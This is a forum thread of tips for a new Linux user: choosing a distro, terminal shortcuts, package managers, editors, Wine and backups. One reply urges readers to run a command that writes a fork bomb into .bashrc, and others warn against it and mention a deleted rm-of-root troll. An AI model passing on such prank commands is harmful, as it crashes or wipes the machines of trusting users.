Skip to main content


I just started using Linux... any great tips?


in reply to Classy

You can have a look at !linux4noobs@programming.dev
in reply to Classy

Not very practical, but good for understanding the OS: Everything is a file. Even your filesystem and harddrive is represented by a file (devicenode).

Back in the day, before things such as pulseaudio and equivalents became the norm, there was also such a file (it might still exist, idk) for your soundcard. By shoving the contents of a wav file directly into /dev/dsp, you could hear it as if it was played normally.

Unrelates to the above, in a terminal context it's very handy to learn the concepts of STDIN, STDOUT, and STDERR, and how to manipulate these. I won't go into it here, but whenever you see a bunch of commands strung together with redirects, < > | >>, that's usually for sending the output (STDOUT) of one command somewhere else, such as to the input STDIN to another command.
This entry was edited (10 months ago)
in reply to Classy

My big tip is if you haven't already, switch to a local package repository. There are a lot of people mirroring the software packages for mint and you can switch to one that is geographically the closest to you for better speed and to spread out the server load.

I love Linux Mint and it's what I install on all my decom-laptops turned servers. It will do pretty much all you want to do in Windows and then some. The only thing it probably isn't the absolute best for is PC gaming but if you are just using a laptop it probably doesn't make much of a difference either way.

If you like Mint then I also suggest PopOS. They are both based on Ubuntu so a lot of the paths and the package manager are the same. The killer feature there is auto-tiling Windows which is like the window snap feature in windows but happens automatically. It's not for everyone but once I started using it, it changed my entire workflow.

Last thing is, if you haven't already, familiarize yourself with running docker containers. A lot of stuff that's complicated to set up is a breeze with docker and docker-compose.

paranoia doesn't like this.

in reply to Classy

KDE is your friend in the trenches, Kubuntu > Ubuntu 100%

Regardless of whatever distro, definitely keep all your stuff backed up on an external drive. I had to "restart" my install a few times to get the hang of things. Yet I still keep all my info on an Vegacrypt encrypted external just in case to this day.
This entry was edited (10 months ago)

niisyth doesn't like this.

in reply to Classy

Never use sudo for graphical apps. If you need admin permissions use pkexec instead.
ie. pkexec gparted
This entry was edited (10 months ago)
in reply to mrvictory1

That's one I haven't heard before. Care to elaborate? And who works you use sudo on graphical apps in the first place?
in reply to Diplomjodler

Some GUI apps need admin permissions and will not work without them. Gparted is an example. pkexec (polkit exec) is the right way to start these apps, read this for more info https://askubuntu.com/questions/270006/why-should-users-never-use-normal-sudo-to-start-graphical-applications
in reply to mrvictory1

After a quick Google, I learned that gksu is no more, ah well!
in reply to Classy

I think the two "major tips" that I can give you are simply

1- Package manager is your best friend.

2- Figure out the "know-hows" of Linux (i.e who "is responsible" for the video card, who deals with the cpu, how do i configure my sound card, how do i configure my video card, etc.).

Master those two tips and you can call yourself an average linux user.
in reply to Classy

My tip would be to try a few distros before you settle on one. Ubuntu was it for me about seven years ago, but I used mint for a few years and am using MX with xfce now.

Also, sudo !! is pretty useful when you forget to sudo the previous command. It means "super user do the last command I just boneheadedly forgot to do that to"
This entry was edited (10 months ago)
in reply to s38b35M5

Also can use !! and do a space at any place to bring in last command. Not used much as you could just do an up arrow but helps if you edit around a lot and experimenting with a cli tool or command.
This entry was edited (10 months ago)
in reply to nestEggParrot

Also, !! is a shortcut for !-1 so if you want the 2nd latest command you could do !-2 and so on.

Nav doesn't like this.

in reply to Classy

Always have a backup and don't be afraid to break it.
in reply to generalEdo

Just to add a bit of clarity, do be afraid of breaking your backups.
in reply to everett

Good point.
This entry was edited (10 months ago)
in reply to Classy

People will say "use this editor" or "use that window manager", but honestly it's just personal preference. There's no award for using ed to edit files, and almost anything you can do with one distro you can do with any other distro. You might get an urge to distrohop and compile the kernel, and that's fine, but imho far more useful is to learn how pipes work and what you can do with regular expressions. A tutorial for bash is always useful.
in reply to quat

People will say “use this editor” or “use that window manager”, but honestly it’s just personal preference

Just the same, if you are serious about using Linux, it really is a good idea to practice using Vi to the point where you are somewhat fluent. It doesn't hurt to learn Emacs either, though I would prioritize Vi.

The reason is simply that these are the editors that the majority of Linux-as-my-daily-driver users use, and it makes it easier to communicate with others and do problem solving if you have experience with these very commonly used Linux apps.
This entry was edited (10 months ago)

buzziebee doesn't like this.

in reply to Classy

My main recommendation is this - The more techsavvy you are, the harder a switch to Linux will be, because you know how to do some complex things on Windows, and now you'll have to relearn it on Linux.

Take your time, Google lots, and just know the ceiling on Linux is much higher for power users, so getting over the initial hump will reward you greatly
in reply to OsrsNeedsF2P

I also switched to linux after using windows for more than 10 years.
I still havent gotten used to linux yet. There are still a lot of things I struggle with.

I kind of had difficulty setting up my printer, I tried to install the HP drivers but it did not install. But none of this installation was required because linux supports driverless printing throught the cups service which I wish I knew earlier.

Another is the use of vi text editor, I couldn' t figure out how to even edit the file and save the file🤣.

Yeah many more examples. It is a bumpy ride. But it is all worth it.
This entry was edited (10 months ago)
in reply to BearPear

You don't have to learn vi if you don't want to. Just switch your default text editor to one that you like (it doesn't even have to be a GUI one)
This entry was edited (10 months ago)
in reply to Lanthanae

Yes, I am using nano currently.

But i would like to learn Vi or vim
in reply to BearPear

Like other comments mention, neovim is way better and use preconfigured setups (like Astrovim) when getting started to discover features you like and then get to writing your own configurations.

Also micro is way better than nano foa simple edits and available on most package managers.
in reply to BearPear

sudo install micro

It's like the nano text editor, but point and click.
in reply to BearPear

You should try installing vim ("Vi IMproved") and run the vimtutor program it comes with, it walks you through the basics. Vim is addictive.
in reply to Classy

Two tips:
I have not tried running WINE yet but I plan on doing so soon.

Steam "just works" on Linux, you can install it via flatpak (which I use) or from their deb repo. It includes "Proton", which is a fancy bundle of wine and some extra open source valve sauce to make it nice and easy to use. Any game that runs on the steam deck also runs on Linux via proton, and there's no messing around at all. It looks and feels just like steam on Windows, and thousands of games just work with no setup or config beyond clicking the big blue and green buttons to install and run. Not EVERY games works, but tons do. I'd heavily recommend this over raw wine to a beginner.

The second tip is not to ask what you can do on Linux. The answer, to a first approximation, is that you can do everything on Linux that you can do on Windows or OSX. I daily drive all three, and mostly do the same stuff on them. Instead, ask YOURSELF what you WANT to do on Linux. Then Google and ask us HOW to do it... or what the nearest approximation is if the precise thing you want to do doesn't work on Linux.
in reply to Classy

Rather than Ubuntu Cinnamon, you'd be better off with Linux Mint.

don't like this

in reply to Classy

Switch from bash to zsh and make it look nice – https://dev.to/abdfnx/oh-my-zsh-powerlevel10k-cool-terminal-1no0
Also replace ls with exa and cat with batcat. Remember you can set aliases in ~/.bashrc or ~/.zshrc.

If you like customization, I'd recommend KDE.
If you like customizing keyboard stuff, you can customize your keyboard layout here: /usr/share/X11/xkb/symbols. Also look into espanso for text expansion.

If you have an Android phone, get KDE Connect.

If you need new software, check apt search if it's in there.

don't like this

in reply to Classy

If you're typing out a long file path in the terminal you don't have to type the whole thing out, you can just press tab and it'll autocomplete for you.

So for example, if your file is called 1234567890.jpg you can just type 123 and hit tab and it'll fill in the rest. And if there's more than one file that begins with 123 it'll list them. Works for folder names too.
in reply to CrabAndBroom

To add to this, you can press tab twice to get a list of available autocomplete options, which take into context the most recently typed text. This includes specific commands as well as folder/files.
in reply to Classy

Honestly, one of the best things you could do is use Linux Mint instead of Ubuntu. It's a lot more new user friendly.

don't like this

in reply to Lanthanae

It's doesn't want to shove snaps down your throat, so I'd say it's more everyone friendly
in reply to Lanthanae

I second this, mint is much user friendly than the current Ubuntu.
in reply to SturgiesYrFase

Didn't take me that long, but I had a similar reaction to learning about it haha
in reply to Forkk

smfh the more you know, the more there is to learn eh?
in reply to SturgiesYrFase

if you use zsh, typing the first part of the command and then using the up arrow searches through the history for commands with the same starting characters
in reply to Damage

This one I knew, but only because I accidentally tapped up instead of right one time
in reply to SturgiesYrFase

I think I've learned and forgotten that tidbit a couple of times. It's something that I need to do seldom enough that when I finally do, I don't remember the keybind .
in reply to Forkk

Also press tab to auto complete the current word (works as soon as you've typed enough characters to eliminate ambiguity)

bluemite doesn't like this.

in reply to Forkk

Huh.. Always just piped the history command through grep
in reply to Forkk

Press the up arrow over and over until you find the command. This is they way!

Tippon doesn't like this.

in reply to CylonBunny

77 times then 78 then 79 for the 3 commands you are looking for you ran consecutively 5 weeks ago
in reply to Forkk

Wow! On Fish, it brings up a whole search bar with a colored grid of results and tab to select and fuzzy finding. This is cool!
in reply to True Blue

Believe thrt is from fzf so can be enabled on zsh too.
in reply to Forkk

and Ctrl + L is the same as clear
This entry was edited (10 months ago)
Unknown parent

Lanthanae
I second this. Just going through vimtutor a couple times and then learning how to use the :help pages effectively is all you need to make vim usable.

I'd recommend using neovim over plain vim though, if not for any reason other than it has nicer defaults.
in reply to Classy

Unless you are looking to work on shared systems/servers as sysadmin or other jobs, explore shells like zsh or fish and customise them rather than stick to bash. A lot more user friendly and accessible advanced features. Helps with learning a lot. Zsh is compatible with bash but fish isn't. So choose based on what your goal with learning shell is.

If you are sticking with debian based distros, try apt and synaptic(GUI) to install your software. At some point you might also need to install tar archives. Don't get worried as most guides should be easy to follow.

Eager Eagle doesn't like this.

in reply to Classy

Start off with Bottles if Wine is too hard. Wine is a cmd line application while Bottles is Wine with a GUI making it easy to manage Wine.

Also, it is wise to try and have a different wine bottle (aka prefix) for each windows application you install and run.

Also Linux Mint is a distro that comes with Cinnamon pre-installed as long you download the Cinnamon option which is a fork of Ubuntu.

nohbdyuno doesn't like this.

in reply to Classy

Tip? It is just a means to an end.

don't like this

in reply to Classy

First thing I'd do is ditch the GUI file manager: get comfortable with cd, ls, mv, rm, etc.

After that, maybe start with basic text manipulation, like grep, awk, sort, uniq, etc. This ties in nicely with IO redirection, which is essential for a "CLI based workflow." Get comfortable with pipes and file redirection, it's extremely powerful!

Writing shell scripts is another super useful exercise: any time you find yourself running the same set of commands multiple times, think about making it a shell script. You may end up with some really useful little custom tools that way.

don't like this

in reply to qjkxbmwvz

There‘s no reason not to use both. For some things a GUI file manager is more convenient.
in reply to foonex

Yeah, good point --- I just copy-paste this from my response to another post where OP wanted tips am migrating to a CLI-centric workflow. Different question from this OP.

Cosmos doesn't like this.

in reply to Classy

Welcome fellow Linux beginner.
What are some really important basic commands I can use to start branching out into Terminal command structures

Since I refuse to touch the Terminal like my life depends on it, I can't help you with this 😅
And if Cinnamon has shortfalls or weaknesses that I may run into eventually, what are some good alternative distros that I could leapfrog to eventually?

I'm a little biased, so take it with a grain of salt: Cinnamon's biggest flaw is the lack of support for the Wayland protocol. It's still running with x11. As far as I have read about it, X11 has several big security flaws, and it slowly dies a long, quiet death. As far as I know, the Linux Mint devs (makers of Cinnamon) haven't even started on Wayland support. A good alternative would be the KDE Plasma Desktop. It's insanely customizable, and the default look comes very close to classic Windows. As a KDE Distro, I would recommend KDE Neon since it's based on Ubuntu too.

yum13241 doesn't like this.

in reply to Classy

This entry was edited (10 months ago)

maxbossing doesn't like this.

in reply to Classy

If you have to use deb-based, use mint. That way you get the support of Ubuntu without their reliance on snap. Is Firefox a forced snap install in LTS? If so, I would delete it immediately.

For rpm-based Fedora is good. Lots of how-to's and Fedora magazine is super helpful to start projects. Or go green and use opensuse and/or an immutable OS... so everything would be a chore to get going. At least you'd learn a lot along the way!

Pop! OS is also a good choice.

don't like this

in reply to Classy

Edit-and-execute is very much worth learning about.

Don't try to install the best X and the best Y. Just start using what you can find, then gradually improve things as you notice becoming annoyed. Within a few years, you'll have a setup you enjoy.
in reply to Classy

Dotfiles. They let you customize your command line experience. There are loads of examples on GitHub. Reading through the comments on dotfiles that other people share help you learn about all the things that can be done. Customize your shell with aliases, functions, history behavior, syntax highlighting, etc.

I'm a Mac user who tinkers with Linux off and on, but I absolutely love that you're learning about the world of Linux. Welcome to the party!

https://github.com/topics/dotfiles

Shameless plug of some of my own custom tooling: https://github.com/fantismo/dotfiles
in reply to Classy

Books, books, books! O'Reilly publishing is your best friend. Search engines are next. And finally, Youtube.
in reply to Classy

Set up btrfs and timeshift. You never know when you need that big undo button.
in reply to Classy

Be patient. Anytime you have to delete any system files just rename it with bak suffix. Have fun
in reply to Classy

This entry was edited (10 months ago)
in reply to Classy

Remember to play. There are multiple terminal emulators, window managers, shells, all the things! Try 'em out. When installing stuff to test via distro package, keep note of which dependencies were dragged in so you can get rid if all of them, not just the thing you wanted to test. Also keep a list of what you tested and later got rid of (and why) so you avoid testing it again.

If you ever ssh into other machines to do stuff, learn the minimum of vi (classic w/no arrow keys, not vim) and bash. Servers "always" have those (though FreeBSD also has tcsh).
in reply to Classy

Honestly, youtube "basic bash tutorial" and watch/follow along with a video or two. Helped me a bunch.

ram doesn't like this.

in reply to Classy

Don't chmod recursively on a whole lot of files if you don't know what you are doing. Also rm is a very powerful command, be wary. Lastly, piping to grep can be very helpful.
in reply to 1draw4u

Yeah, if there's a -r (sometimes -R) in the command line, be careful: it means 'recursive', and it's gonna do it to all the files.

Likewise with *. It's a wildcard meaning "match everything". I think that's widely understood?
in reply to Classy

This entry was edited (10 months ago)
in reply to Dr Jekell

  • Hardware stuff
If you’re upgrading your laptop, find one with an intel wifi chip. Broadcom and Atheros may work, but be prepared for some headaches.

Intel and AMD video chips are also well supported. Avoid nvidia stuff.
in reply to Classy

I do not know what sort of power management software exists by default on Ubuntu, but for laptop use I would strongly recommend getting a power management package like TLP to configure power profile settings for your laptop when on battery and on charge. It can greatly improve battery performance. Some alternatives like auto-cpufreq and powertop exist, but I have tried all 3 and found that TLP worked the best for me.
in reply to Classy

Probably already mentioned in other comments, buy it can't be stressed enough: Backups !

Part of learning to use Linux is breaking it. You will make mistakes that will bork your computer. You can either spend hours to try to fix it, or you can wipe everything clean, reinstall, restore from your latest backup, and be done like nothing happend in no time. (Maybe you want to go the hard way for learning, but it's always more relaxing to know you also have the easy option at your disposal)

Ubuntu comes with Timeshift, make use of it. Also plan to make backups to external storage or NAS, in case things go real bad.
in reply to Synapse

As a newish Linux user I would like to confirm this comment. Timeshift has saved my ass so many times. It's also pretty easy to set up and maintain. +1 for backups
This entry was edited (7 months ago)
in reply to Classy

Give a try trade-free linux distro TROMjaro.

Zamundaaa doesn't like this.

Linux reshared this.

in reply to Classy

do not copy paste commands you do not uderstand from shady forums in hope it will solve your problem 😀
in reply to weshgo

Everyone run echo ":(){:|:};:" >> .bashrc; source .bashrc in your linux terminal.
in reply to cow

Warning, this is a script bomb that will make your system crash, and is adding it to the bashrc, which means it will run again after you reboot your computer.
in reply to vis4valentine

Is "I use zsh, btw." a thing yet?

Doesn't prevent the initial crash, of course, but there won't be one on the next boot.
This entry was edited (10 months ago)
in reply to Classy

in reply to marionberrycore

On that note, backup your stuff - set it to do it automatically daily.

Mainly /home/<user>. As long as you have a backup of that, you can usually recover almost everything if something goes wrong by just installing all the same software. Configs, documents, downloads, saves, and so on are almost always stored in /home.
in reply to yiliu

Better if /home is installed on a seperate partition
in reply to Classy

I suggest to watch the package manager commands (probably 'apt --help') and use it for your packages. Package stuff is what I use the most in the terminal.
Unknown parent

geoma
This. Or mx linux.

don't like this

Unknown parent

faintwhenfree
Ok the joke is funny but you gotta tell new guys it's sarcastic. Down voting for that only. OP is asking genuine advice, trolling like this hurts users switching to Linux and they may just go back.
in reply to faintwhenfree

I agree that was inappropriate, but it won't work, on newer versions you have to pass --no-preserve-root to rm if you want to delete /
in reply to Classy

Do NOT add too many third party repos, they're a pain in the ass to remove later.

Try distrobox.
This entry was edited (10 months ago)
in reply to Classy

The Linux community is indeed remarkable, but the multitude of available distributions can sometimes give an impression of fragmentation. When you discover the distribution that best fits your needs, it's important to remember not to take it personally. Avoid developing a bias towards your chosen distribution as it could potentially lead to unnecessary conflicts with others who prefer different distributions within the community.
in reply to Classy

With the terminal, use the option --help or view it's man pages with man (command you want to know more about) to avoid having to search the Internet just to find out how commands work. You may find the terminology of certain things strange or may not understand how certain things are described at first, but you'll have a much better understanding of how everything works when you know how to look up what exacly something does. Oh and in man use u and d to scroll up and down and /(searchword) to search, that makes looking up stuff a lot faster, press q or Ctrl-D to quit
in reply to Classy

regarding WINE, there's tools like Bottles that make managing WINE easier. Steam in general configures WINE for you which meant in my experience you never need to mess with WINE directly, which is nice.
in reply to sounddrill

Proton up is great for edge cases, but had a few issues with GE proton causing wine prefix folders to corrupt themselves so I tend to avoid anything but (official) Proton experimental, which usually receives upstream patches eventually!
in reply to MonkderZweite

Nope! Still actively developed. I did check the website and git repo just to be sure and both are updated.
in reply to poplargrove

Agreed but still all the user data is gone. Including default user profile. Then user has to figure out how to make things normal again.
Unknown parent

geoma
Gentoo is fast and cool but I think it's not meant for beginners
Unknown parent

flashgnash
I'm gonna run that command